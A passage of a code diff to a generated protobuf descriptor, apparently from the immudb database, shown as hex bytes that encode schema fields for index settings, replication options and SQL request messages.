0x65, 0x6e, 0x74, - 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, 0x55, 0x0a, 0x13, 0x74, 0x72, 0x75, - 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, - 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x13, 0x74, 0x72, 0x75, - 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, - 0x22, 0x99, 0x09, 0x0a, 0x15, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x45, 0x0a, 0x0e, 0x66, 0x6c, - 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, - 0x32, 0x52, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, - 0x64, 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, - 0x6c, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, - 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x3b, 0x0a, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, - 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x74, 0x33, 0x32, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, + 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, + 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, - 0x69, 0x7a, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, - 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, - 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, - 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, - 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, - 0x6f, 0x74, 0x73, 0x12, 0x4d, 0x0a, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, - 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x12, - 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, - 0x65, 0x72, 0x12, 0x45, 0x0a, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x54, 0x68, 0x6c, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x12, 0x53, 0x0a, 0x15, 0x64, 0x65, 0x6c, - 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, - 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x55, - 0x0a, 0x16, 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, - 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x16, 0x6e, - 0x6f, 0x64, 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, - 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x59, 0x0a, 0x18, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, - 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, - 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x18, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, - 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, - 0x12, 0x57, 0x0a, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, - 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, - 0x52, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, - 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x47, 0x0a, 0x0f, 0x66, 0x6c, 0x75, - 0x73, 0x68, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0c, 0x20, 0x01, + 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, + 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, + 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, - 0x32, 0x52, 0x0f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, - 0x7a, 0x65, 0x12, 0x4a, 0x0a, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, - 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, 0x6f, 0x61, 0x74, 0x52, 0x11, 0x63, 0x6c, 0x65, - 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x12, 0x3f, - 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x42, 0x75, 0x6c, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0e, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, - 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x42, 0x75, 0x6c, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, - 0x5b, 0x0a, 0x16, 0x62, 0x75, 0x6c, 0x6b, 0x50, 0x72, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, - 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x16, 0x62, 0x75, 0x6c, 0x6b, 0x50, 0x72, 0x65, 0x70, 0x61, 0x72, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x22, 0xa3, 0x01, 0x0a, - 0x13, 0x41, 0x48, 0x54, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, - 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, + 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, + 0x72, 0x64, 0x12, 0x45, 0x0a, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, + 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x39, 0x0a, 0x08, 0x73, 0x79, 0x6e, + 0x63, 0x41, 0x63, 0x6b, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, - 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x47, 0x0a, 0x0f, 0x77, 0x72, 0x69, - 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x08, 0x73, 0x79, 0x6e, 0x63, + 0x41, 0x63, 0x6b, 0x73, 0x12, 0x51, 0x0a, 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, + 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, - 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, - 0x7a, 0x65, 0x22, 0x31, 0x0a, 0x13, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x32, 0x0a, 0x14, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, - 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, 0x55, 0x6e, 0x6c, - 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x34, - 0x0a, 0x16, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, - 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x34, 0x0a, 0x16, 0x44, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, - 0x59, 0x0a, 0x11, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, - 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, - 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, - 0x67, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, 0x22, 0x30, 0x0a, 0x12, 0x46, 0x6c, - 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x25, 0x0a, 0x05, - 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x4e, - 0x61, 0x6d, 0x65, 0x22, 0x88, 0x01, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x33, 0x0a, 0x08, 0x70, - 0x6b, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, - 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, - 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, - 0x61, 0x74, 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x81, - 0x01, 0x0a, 0x17, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, - 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x71, - 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, - 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, - 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, - 0x54, 0x78, 0x22, 0x79, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x0e, - 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x10, - 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, - 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, - 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, - 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0x87, 0x07, - 0x0a, 0x12, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, - 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, - 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, - 0x66, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, - 